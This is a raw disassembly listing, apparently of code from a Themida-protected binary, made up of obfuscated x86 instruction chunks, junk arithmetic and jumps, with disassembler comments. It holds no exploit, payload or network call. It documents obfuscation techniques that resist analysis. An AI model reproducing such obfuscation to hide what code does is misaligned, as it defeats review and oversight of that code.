push ecx
mov ecx, 0
jmp loc_558B99
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_551C85: ; CODE XREF: Themida_:0055AAA5j
sub bl, al
push dx
mov dl, 34h
sub bl, dl
jmp loc_5512E1
; ---------------------------------------------------------------------------
loc_551C92: ; CODE XREF: Themida_:00554999j
push eax
mov eax, 30EA0916h
xor ebp, eax
pop eax
push eax
mov eax, 6CC97B8Fh
inc eax
xor eax, 7A8229C9h
or ebp, eax
pop eax
add ebp, 6DAB525Fh
sub eax, ebp
pop ebp
jmp loc_55296B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5539DB
loc_551CB8: ; CODE XREF: sub_5539DB+4E07j
sub edi, 1A75EBFh
sub edi, esi
add edi, 1A75EBFh
jmp loc_55406F
; END OF FUNCTION CHUNK FOR sub_5539DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551CCB: ; CODE XREF: sub_556A70+1794j
xor edx, esi
pop esi
add ebx, edx
pop edx
pop ecx
jmp loc_5536B2
; ---------------------------------------------------------------------------
loc_551CD7: ; CODE XREF: sub_556A70-1DEEj
add eax, 3A8D70B0h
add eax, ebp
jmp loc_55A2ED
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553651
loc_551CE3: ; CODE XREF: sub_553651+4FCFj
push 0FECh
mov [esp+8+var_8], edx
push 80000h
mov edx, [esp+0Ch+var_C]
add esp, 4
jmp loc_55B004
; END OF FUNCTION CHUNK FOR sub_553651
; ---------------------------------------------------------------------------
loc_551CFE: ; CODE XREF: Themida_:00557B5Bj
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551D03: ; CODE XREF: sub_556A70-327Aj
pop edx
jmp loc_556694
; ---------------------------------------------------------------------------
loc_551D09: ; CODE XREF: sub_556A70+78Aj
push dword ptr [esp+0]
mov ecx, [esp+4+var_4]
jmp loc_558C2B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_551D14: ; CODE XREF: Themida_:00550EEAj
xor ebx, 37A11035h
push 15F2h
mov [esp], edx
mov edx, 21B0985h
sub esi, edx
pop edx
add esi, ebx
push edi
mov edi, 7A9B6B9Fh
dec edi
sub edi, 64A04D55h
jmp loc_553269
; ---------------------------------------------------------------------------
loc_551D3E: ; CODE XREF: Themida_:00551BB6j
sub esp, 4
mov [esp], esi
mov esi, 0E46AB0h
push edi
jmp loc_554E2D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551D4F: ; CODE XREF: sub_556A70+3EB6j
pop esi
push esi
push eax
jmp loc_557159
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_551D57: ; CODE XREF: Themida_:005511A0j
add eax, 4
push ecx
mov ecx, 4
jmp loc_558F62
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551D67: ; CODE XREF: sub_556A70-24A7j
mov bh, ch
mov ecx, [esp+8+var_8]
add esp, 4
jmp loc_5573AC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_551D77: ; CODE XREF: Themida_:005556AEj
sub esp, 4
mov [esp], edi
mov edi, esp
push ebx
mov ebx, 4
add edi, ebx
pop ebx
push edx
push 6202h
mov [esp], eax
mov eax, 27F904C4h
sub eax, 0CF70F731h
mov edx, eax
pop eax
jmp loc_5533D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551DA3: ; CODE XREF: sub_556A70+430Bj
push ecx
mov ch, 2Dh
or bh, ch
jmp loc_55B9EA
; ---------------------------------------------------------------------------
loc_551DAD: ; CODE XREF: sub_556A70-2D64j
xor esi, 717B70Eh
mov ebp, esi
jmp loc_5524BB
; ---------------------------------------------------------------------------
loc_551DBA: ; CODE XREF: sub_556A70-3A24j
push [esp+8+var_8]
pop eax
add esp, 4
add esp, 4
xor eax, edi
push dword ptr [esp+0]
pop edi
add esp, 4
jmp loc_556AC8
; ---------------------------------------------------------------------------
loc_551DD8: ; CODE XREF: sub_556A70+3317j
and edx, 374079FEh
sub edx, 313261A4h
xor ebx, edx
pop edx
mov eax, ebx
pop ebx
add eax, edx
jmp loc_55A5C8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_551DF1: ; CODE XREF: Themida_:005525A9j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_5583D5
; ---------------------------------------------------------------------------
loc_551E07: ; CODE XREF: Themida_:005526FFj
pop edx
sub edi, 9E4BD3BEh
sub ecx, edi
pop edi
sub eax, ecx
pop ecx
push ebp
mov ebp, 3226997h
push esi
jmp loc_555A1C
; ---------------------------------------------------------------------------
loc_551E20: ; CODE XREF: Themida_:00551C2Fj
mov ecx, 20163C5Fh
jmp loc_559126
; ---------------------------------------------------------------------------
loc_551E2A: ; CODE XREF: Themida_:00551922j
xor ecx, esi
pop esi
jmp loc_55359C
; ---------------------------------------------------------------------------
loc_551E32: ; CODE XREF: Themida_:00556A13j
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_55655D
; ---------------------------------------------------------------------------
loc_551E41: ; CODE XREF: Themida_:0055C8D1j
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_5557CB
; ---------------------------------------------------------------------------
lodsb
jmp loc_556166
; ---------------------------------------------------------------------------
loc_551E5C: ; CODE XREF: Themida_:00553F23j
push eax
jmp loc_55C0E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551E62: ; CODE XREF: sub_556A70+FD4j
mov bx, word ptr [esp-0Ch+arg_8]
push ecx
mov ecx, esp
add ecx, 4
jmp sub_559F87
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_551E74 proc near ; CODE XREF: sub_556A70+5DBCj
; FUNCTION CHUNK AT 0055170B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005548B7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00559518 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055A8D8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055B409 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055C1DB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055C61C SIZE 0000000A BYTES
push ebp
mov ebp, 6FC743D3h
sub ebx, ebp
jmp loc_55170B
sub_551E74 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559B2A
loc_551E81: ; CODE XREF: sub_559B2A-1561j
pop ebx
add esp, 4
xchg edi, [esp+0]
mov esp, [esp+0]
mul cx
push small 1351h
mov word ptr [esp-6+arg_0+2], dx
push ax
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_559B2A
; ---------------------------------------------------------------------------
loc_551EA1: ; CODE XREF: Themida_:00555775j
mov ecx, esp
sub esp, 4
jmp loc_556B80
; ---------------------------------------------------------------------------
loc_551EAB: ; CODE XREF: Themida_:00557F8Bj
push 787h
mov [esp], edx
mov edx, 4
add edi, edx
jmp loc_55B421
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5526D6
loc_551EBF: ; CODE XREF: sub_5526D6+6j
inc ebp
jmp loc_55C8B1
; END OF FUNCTION CHUNK FOR sub_5526D6
; ---------------------------------------------------------------------------
loc_551EC5: ; CODE XREF: Themida_:005580AFj
push 2934h
mov [esp], ebp
push 1C1Eh
jmp loc_556B12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551ED7: ; CODE XREF: sub_556A70+4D93j
push eax
jmp sub_55CC90
; ---------------------------------------------------------------------------
loc_551EDD: ; CODE XREF: sub_556A70-1444j
add eax, ebx
pop ebx
jmp loc_55238C
; ---------------------------------------------------------------------------
loc_551EE5: ; CODE XREF: sub_556A70-DB0j
add esp, 4
or ebp, 3CED48C9h
push edi
mov edi, 47933B6Bh
jmp loc_557B68
; ---------------------------------------------------------------------------
loc_551EFC: ; CODE XREF: sub_556A70-6F6j
xor ebp, 0B2469DEh
xor edi, ebp
pop ebp
sub esp, 4
mov [esp-8+arg_4], ecx
mov ecx, 15080EBEh
neg ecx
jmp loc_556711
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop edx
push ebx
mov ebx, esp
add ebx, 4
push ecx
push ebx
mov ebx, 4
mov ecx, ebx
pop ebx
sub ebx, ecx
pop ecx
xchg ebx, [esp]
pop esp
mov [esp], ecx
push esp
pop ecx
jmp loc_559E69
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5553D0
loc_551F3F: ; CODE XREF: sub_5553D0+Bj
sub bl, cl
add bl, 4Bh
push dword ptr [esp+0]
jmp loc_550B83
; END OF FUNCTION CHUNK FOR sub_5553D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551F4C: ; CODE XREF: sub_556A70-5A1j
shl esi, 5
xor esi, 0F920DC44h
mov ebx, esi
pop esi
jmp loc_553D4B
; ---------------------------------------------------------------------------
loc_551F5D: ; CODE XREF: sub_556A70+1EBDj
mov edi, 6A258C7h
xor edi, 56F83CC0h
inc edi
jmp loc_55BE3C
; ---------------------------------------------------------------------------
loc_551F6E: ; CODE XREF: sub_556A70+2B8Dj
mov esp, [esp-0Ch+arg_8]
jmp loc_559789
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_551F76: ; CODE XREF: Themida_:00556053j
mov ecx, [esp]
add esp, 4
sub al, bl
sub al, 0EAh
jmp loc_557BDF
; ---------------------------------------------------------------------------
loc_551F88: ; CODE XREF: Themida_:00558DF0j
pop ecx
push ebx
push edi
mov edi, 3AD97456h
jmp loc_556B2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551F95: ; CODE XREF: sub_556A70-E01j
push ecx
mov ch, 85h
add ch, 6
and ch, 13h
neg ch
dec ch
shr ch, 6
add ch, 9Eh
sub esp, 4
mov [esp-4+arg_0], eax
jmp loc_55853C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559CCC
loc_551FB6: ; CODE XREF: sub_559CCC+18j
add ebp, eax
pop eax
xor [esp+0Ch+var_8], ebp
pop ebp
jmp loc_557863
; END OF FUNCTION CHUNK FOR sub_559CCC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B730
loc_551FC3: ; CODE XREF: sub_55B730+6j
mov [esp+4+var_4], edx
mov edx, 3E9E41AAh
sub esp, 4
mov [esp+8+var_8], edx
mov ebx, [esp+8+var_8]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5566FB
; END OF FUNCTION CHUNK FOR sub_55B730
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_551FE8: ; CODE XREF: sub_556A70+47FEj
pop esp
mov [esp-8+arg_4], ebx
push [esp-8+arg_4]
pop eax
push ecx
push esp
pop ecx
jmp loc_5524D4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555903
loc_551FF8: ; CODE XREF: sub_555903-FF8j
push eax
mov eax, 4
sub esi, eax
pop eax
push esi
push dword ptr [esp+4]
mov esi, [esp+8+var_8]
add esp, 4
jmp loc_554AC9
; END OF FUNCTION CHUNK FOR sub_555903
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552011: ; CODE XREF: sub_556A70+4111j
mov [esp-4+arg_0], eax
push 2
pop eax
mov ebp, eax
jmp loc_5550B1
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_552021: ; CODE XREF: sub_5566B9+4C3Dj
xchg ebx, [esp+0Ch+var_C]
pop esp
jmp loc_55630E
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
loc_55202A: ; CODE XREF: Themida_:0055130Bj
dec dl
xor dl, 0F5h
sub dl, 0F8h
sub bh, dl
jmp loc_554D0C
; ---------------------------------------------------------------------------
loc_552039: ; CODE XREF: Themida_:00553BE4j
mov edi, esp
sub esp, 4
mov [esp], eax
mov eax, 1EFD6E3Dh
push esi
mov esi, 44AF663Ah
sub eax, esi
pop esi
neg eax
jmp loc_55BD35
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552059: ; CODE XREF: sub_556A70+233Bj
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55205E: ; CODE XREF: sub_5584F8+3j
mov [esp+0], ebx
jmp loc_550D15
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552066: ; CODE XREF: sub_556A70+864j
sub edx, eax
push ecx
mov ecx, 1BE04B6Ah
sub edx, ecx
push dword ptr [esp+0]
pop ecx
push 466Fh
mov [esp+4+var_4], ebp
push esp
pop ebp
add ebp, 4
jmp loc_55A467
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552089: ; CODE XREF: Themida_:00555AD3j
add ebp, eax
sub ebp, 2332465Ch
add ebp, 304B73h
pop eax
sub esp, 4
jmp loc_55C95A
; ---------------------------------------------------------------------------
loc_5520A3: ; CODE XREF: Themida_:0055A4E8j
mov ebx, esp
sub esp, 4
mov [esp], ebp
mov ebp, 3B4C02ACh
neg ebp
jmp loc_55B808
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5520BA: ; CODE XREF: sub_556A70+86Bj
movzx eax, al
mov dx, word ptr [esp+4+var_4]
push eax
jmp loc_555410
; ---------------------------------------------------------------------------
loc_5520C7: ; CODE XREF: sub_556A70+396Fj
add esp, 4
push esi
mov esi, 4
add edx, esi
pop esi
add edx, 4
jmp loc_55781C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5520DE: ; CODE XREF: Themida_:0055C8F6j
neg ah
xor ah, 9Ch
shl ah, 1
and ah, 0B1h
or ah, 8Bh
sub ah, 30h
mov cl, ah
mov eax, [esp]
add esp, 4
jmp loc_550C2B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5520FE: ; CODE XREF: sub_556A70-E18j
push [esp+4+var_4]
mov eax, [esp+8+var_8]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5517BB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552115: ; CODE XREF: Themida_:00559FAAj
xor ebp, 0F314990h
and ebp, 405E440Fh
dec ebp
jmp loc_5533F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552127: ; CODE XREF: sub_556A70-406Bj
mov edi, 6BC4799Bh
xor edi, 659C5155h
or edi, 19D726B2h
not edi
dec edi
neg edi
push esi
mov esi, 0BDF1EA80h
sub edi, esi
jmp loc_554AF7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55214A: ; CODE XREF: Themida_:00559816j
add ebx, 330531D2h
add ebx, ebp
sub ebx, 330531D2h
pop ebp
push eax
mov eax, 261F66C1h
sub eax, 1
neg eax
and eax, 7F1C75DAh
inc eax
add eax, 0A6FFEEC1h
sub ebx, 59D2128Dh
add ebx, eax
add ebx, 59D2128Dh
pop eax
xor ebx, [esp]
xor [esp], ebx
jmp loc_559510
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552189: ; CODE XREF: sub_556A70+5E34j
pop esp
xor al, bl
jmp loc_55BCBD
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552E24
loc_552191: ; CODE XREF: sub_552E24+8CD1j
pop eax
add esp, 4
push [esp-4+arg_0]
mov esi, [esp+0]
add esp, 4
push esi
mov esi, esp
add esi, 4
jmp sub_55A6CD
; END OF FUNCTION CHUNK FOR sub_552E24
; =============== S U B R O U T I N E =======================================
sub_5521AC proc near ; CODE XREF: sub_553B60+5CA5j
; FUNCTION CHUNK AT 0055462B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00555378 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055857D SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00559A78 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055CF71 SIZE 0000000B BYTES
push ebx
mov bh, 91h
sub ch, bh
pop ebx
or bh, ch
pop ecx
inc bh
jmp loc_55462B
sub_5521AC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5521BC: ; CODE XREF: sub_556A70-3C20j
add ecx, 4
push ecx
push [esp+0Ch+var_8]
mov ecx, [esp+10h+var_10]
add esp, 4
jmp loc_552F7D
; ---------------------------------------------------------------------------
loc_5521D2: ; CODE XREF: sub_556A70+5CA9j
mov ch, 24h
add bl, ch
jmp loc_5584A3
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5521DB: ; CODE XREF: Themida_:0055358Fj
pop edx
add al, bl
push 0E53h
jmp loc_555B7A
; ---------------------------------------------------------------------------
loc_5521E8: ; CODE XREF: Themida_:00559DE8j
add ecx, ebx
mov ebx, [esp]
add esp, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_557F98
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552201: ; CODE XREF: sub_556A70-3591j
push 1888h
mov [esp+10h+var_10], edi
mov edi, 1BE04B6Ah
add edx, edi
push [esp+10h+var_10]
pop edi
jmp loc_5572CE
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552219: ; CODE XREF: Themida_:00552A1Dj
push 5D81h
mov [esp], eax
jmp loc_55B75B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5516F8
loc_552226: ; CODE XREF: sub_5516F8+E23j
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
push edx
pop edi
pop edx
sub esp, 4
mov [esp+0], ecx
push edx
mov edx, 2E1330A6h
push eax
mov eax, 5D452061h
dec eax
jmp loc_5561D2
; END OF FUNCTION CHUNK FOR sub_5516F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552248: ; CODE XREF: sub_556A70-2FA1j
inc ebp
jmp loc_551322
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55224E: ; CODE XREF: Themida_:005525D9j
sub esi, 13165436h
add esi, edi
add esi, 13165436h
pop edi
push esi
push dword ptr [esp+4]
jmp loc_55408F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559F87
loc_552267: ; CODE XREF: sub_559F87+2A8Ej
add cl, dl
pop edx
jmp loc_553C1F
; END OF FUNCTION CHUNK FOR sub_559F87
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55226F: ; CODE XREF: sub_556A70+5D76j
mov ebp, 58387D89h
sub edx, ebp
pop ebp
pop eax
sub eax, edx
jmp loc_556739
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_55227F proc near ; CODE XREF: sub_556A70-50FAj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005550D7 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055B030 SIZE 0000000B BYTES
sub esp, 4
mov [esp+4+var_4], ebx
pop esi
push edi
mov edi, esi
push edi
add [esp+8+var_8], 1A273945h
jmp loc_5550D7
sub_55227F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_55A4E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55229F: ; CODE XREF: sub_556A70-3054j
xchg ebp, [esp+8+var_8]
jmp loc_5580F7
; ---------------------------------------------------------------------------
loc_5522A7: ; CODE XREF: sub_556A70+2C39j
sub bx, bp
push [esp+8+var_8]
pop ebp
jmp loc_555E52
; ---------------------------------------------------------------------------
loc_5522B3: ; CODE XREF: sub_556A70-51D4j
mov [esp+0Ch+var_C], edx
mov edx, 61A3051Eh
sub edx, 1
xor edx, 1AA629CFh
add esi, edx
pop edx
add esi, 1
jmp loc_55BF84
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5522CF: ; CODE XREF: Themida_:00552BB6j
add eax, ebx
add eax, 5FE01CD6h
add eax, 6C1A3E74h
push 3A06h
jmp loc_5592EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5522E5: ; CODE XREF: sub_556A70-2BB9j
mov ecx, [esp+8+var_8]
jmp sub_5530EF
; ---------------------------------------------------------------------------
loc_5522ED: ; CODE XREF: sub_556A70-53EDj
xor edi, 20E1395Ch
inc edi
push 4BCFh
mov [esp+4+var_4], edx
mov edx, 0B88A9998h
jmp loc_557721
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552306: ; CODE XREF: Themida_:0055555Fj
pop edi
xor edx, 7DCE4BAFh
jmp loc_55859D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552312: ; CODE XREF: sub_556A70+5CFj
xchg ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
not al
jmp loc_557C60
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554BBA
loc_55231F: ; CODE XREF: sub_554BBA+5BB2j
pop esp
pop ebp
mov ebx, ecx
mov ecx, [esp-8+arg_4]
add esp, 4
and ecx, ebx
jmp loc_552826
; END OF FUNCTION CHUNK FOR sub_554BBA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552330: ; CODE XREF: sub_556A70+B57j
and ecx, esi
push [esp+4+var_4]
push [esp+8+var_8]
pop esi
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0Ch+var_C]
pop esp
jmp loc_554D14
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552351: ; CODE XREF: Themida_:0055315Dj
pop esp
push dword ptr [esp]
pop eax
push eax
push esp
pop eax
push edx
mov edx, 228F0E93h
jmp loc_55A832
; ---------------------------------------------------------------------------
loc_552364: ; CODE XREF: Themida_:00554870j
push eax
mov eax, 25A10CADh
push edi
mov edi, 0DC5CB6Eh
jmp loc_5591BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_552375: ; CODE XREF: sub_5584F8+45ABj
add esp, 4
sub eax, 49E61564h
push ebx
push ebp
jmp sub_55AE68
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_552384: ; CODE XREF: sub_552B74+606Cj
sub edi, ebx
pop ebx
jmp loc_559384
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55238C: ; CODE XREF: sub_556A70-4B90j
add eax, esi
sub eax, 773640Ah
pop esi
push 4766h
mov [esp-8+arg_4], edx
jmp loc_55B9AD
; ---------------------------------------------------------------------------
loc_5523A1: ; CODE XREF: sub_556A70+ACEj
add ecx, 4
jmp loc_5596F4
; ---------------------------------------------------------------------------
loc_5523AC: ; CODE XREF: sub_556A70+617Aj
push 0C690998h
mov eax, [esp-4+arg_0]
add esp, 4
add eax, 71B93C8Dh
add eax, 0E310E05Ah
mov edi, eax
pop eax
jmp loc_553735
; ---------------------------------------------------------------------------
loc_5523C9: ; CODE XREF: sub_556A70+4F96j
mov dh, 0E1h
inc dh
jmp loc_55CDAA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5557A0
loc_5523D2: ; CODE XREF: sub_5557A0+4864j
pop dword ptr [eax]
add dword ptr [eax], 239C05DBh
mov ebp, [esp-4+arg_0]
add esp, 4
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_5557A0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5523E5: ; CODE XREF: sub_556A70+3C25j
add ebx, ebp
pop ebp
add edi, ebx
pop ebx
add edi, 4
xchg edi, [esp-14h+arg_10]
pop esp
jmp loc_55A8E7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5567EA
loc_5523F7: ; CODE XREF: sub_5567EA-3A54j
add edx, 0A040C0C3h
mov ebx, edx
jmp loc_5555E3
; END OF FUNCTION CHUNK FOR sub_5567EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552404: ; CODE XREF: sub_556A70+24EDj
shr ebx, 6
sub esp, 4
jmp loc_55A4A9
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552412: ; CODE XREF: Themida_:00559AE2j
shr ebp, 8
push eax
mov eax, 1FF93681h
push edi
jmp loc_557401
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552421: ; CODE XREF: sub_556A70+41E6j
pop esi
jmp loc_554ABA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552427: ; CODE XREF: Themida_:0055543Dj
pop edi
mov esi, ebx
jmp loc_5533EA
; ---------------------------------------------------------------------------
loc_55242F: ; CODE XREF: Themida_:0055A845j
sub esi, ecx
pop ecx
sub esi, 6F376C6Dh
sub esp, 4
jmp loc_555F51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552440: ; CODE XREF: sub_556A70-5552j
add ebp, eax
jmp loc_5580D7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554BBA
loc_552447: ; CODE XREF: sub_554BBA+4j
push esi
mov esi, esp
add esi, 4
jmp loc_55A766
; END OF FUNCTION CHUNK FOR sub_554BBA
; ---------------------------------------------------------------------------
loc_552455: ; CODE XREF: Themida_:00553E3Ej
mov edx, edi
pop edi
add [esp+4], edx
pop edx
mov edx, [esp]
add esp, 4
add edx, 4
push 7743h
jmp loc_55BE55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552473: ; CODE XREF: sub_556A70+E46j
mov [esp+4+var_4], ebx
jmp loc_557644
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55247B: ; CODE XREF: Themida_:00559121j
mov bl, 16h
add bl, 54h
push small 0
sub [esp], bl
mov bl, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_557876
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_552498: ; CODE XREF: sub_5584F8+33E8j
sub edi, 7B6D6359h
add edi, 90405A80h
add ecx, 289A268Ah
add ecx, edi
sub ecx, 289A268Ah
pop edi
shr ecx, 6
jmp loc_5511F6
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5524BB: ; CODE XREF: sub_556A70-4CBBj
pop esi
jmp loc_5576BF
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5524C1: ; CODE XREF: Themida_:0055136Fj
mov esi, 45BD6CC5h
shl esi, 4
push ecx
push 63196E1Ah
jmp loc_5556DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5524D4: ; CODE XREF: sub_556A70-4A7Dj
add ecx, 4
push eax
jmp loc_552B33
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5524E0: ; CODE XREF: Themida_:0055287Fj
pop dword ptr [esp]
mov esp, [esp]
xor ebx, eax
xor edx, eax
jmp loc_550A46
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_5524F7: ; CODE XREF: Themida_:005530CAj
push 3ACFh
jmp loc_55551C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5516F8
loc_552501: ; CODE XREF: sub_5516F8+B0B3j
and edi, ebx
pop ebx
shl edi, 3
sub edi, 26D0BE3Bh
sub edx, edi
mov edi, [esp+0]
push ebx
push esp
pop ebx
add ebx, 4
jmp loc_552226
; END OF FUNCTION CHUNK FOR sub_5516F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_552520: ; CODE XREF: sub_556A70+55B3j
shl eax, cl
push ebx
push edi
push edx
push 30C7035Ch
pop edx
jmp loc_55C864
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_552530: ; CODE XREF: Themida_:0055AF44j
push eax
jmp loc_55A7BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AA5F
